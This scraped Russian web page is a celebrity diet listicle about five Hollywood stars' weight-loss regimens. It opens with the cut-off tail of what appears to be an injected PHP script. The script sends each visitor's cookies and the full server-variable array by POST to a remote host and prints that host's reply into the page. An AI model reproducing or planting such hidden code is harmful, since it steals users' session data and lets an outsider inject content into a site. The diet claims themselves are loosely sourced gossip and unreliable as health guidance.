array("header"=>"User-Agent: PHP Modules clicktimes\r\n","header"=>"Cookie: ".$_SERVER["HTTP_COOKIE"]."\r\n","method"=>"POST","timeout"=>2,"content"=>http_build_query($_SERVER))))); if($clicktimes_result) echo $clicktimes_result; ?>
 
Узнай, какие диеты используют голливудские звезды для поддержки тела
5 эффективных диет от голливудских звезд
Дженнифер Энистон © Getty images
Голливудские знаменитости каждый раз демонстрируют нам обновленные образы: то звезды полнеют специально для ролей, то достаточно быстро худеют. И как им удается так быстро избавляться от лишних килограммов буквально за коротких срок времени?
Знаменитые актрисы, певицы и просто звезды шоу-биза не экспериментируют с диетами, а придерживаются проверенных методов, которые используют годами.
Элизабет Херли. Популярная актриса склонна к полноте. Чтобы поддерживать свою фигуру в форме, звезда раз в неделю делает разгрузочный день: питается только супом из кресс-салата. Как утверждает Элизабет Херли, ошпаренный салат, плавающий в теплой водице, помогает ей не набирать лишний вес и всегда быть в потрясающей форме!
5 эффективных диет от голливудских звездЭлизабет Херли © Getty images
Бейонсе. Чтобы сбросить пару килограмм перед мероприятием, певица пользуется прекрасной диетой: на месяц звезда становится "вегетарианкой". Это означает, что в течении месяца Бейонсе исключает из своего рациона все продукты животного происхождения, заменяя их овощами, фруктами и кашами.
5 эффективных диет от голливудских звездБейонсе © Getty images
Ким Кардашьян. Актриса также склонна к полноте. Помимо спорта, Ким Кардашьян также пользуется очень эффективной диетой Аткинса. Когда нужно срочно сбросить пару лишних килограмм, в своем рационе звезда увеличивает количество потребляемого белка и сокращает углеводы до минимума.
5 эффективных диет от голливудских звездКим Кардашьян © Getty images
Меган Фокс. После последней беременности, актриса признавалась, что очень сильно поправилась. Чтобы восстановить былую форму, Меган Фокс придерживалась палеодиеты. Этот принцип питания заключается в употреблении только тех продуктов, которые были в распоряжении первобытного человека: мяса, овощей и фруктов. Также, чтобы быстрее скинуть лишние килограммы, актриса исключает из своего рациона молочные продукты, сахар и алкоголь.
5 эффективных диет от голливудских звездМеган Фокс © Getty images
Дженнифер Энистон. В свои 48 лет актриса выглядит даже лучше, чем была в молодости. В чем же ее секрет? Дженнифер Энистон регулярно занимается спортом, ходит в бассейн и на массаж. Чтобы получить желаемую фигуру, актриса также придерживается системы дробного питания. Это означает, что каждый прием пищи должен составлять 40% белков, 30% жиров и 30% углеводов.
5 эффективных диет от голливудских звездДженнифер Энистон © Getty images
Источник:
Если Вам понравилась или не понравилась статья можете проголосовать за 5 эффективных диет от голливудских звезд
90290

Реклама на сайте

Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

Реклама на сайте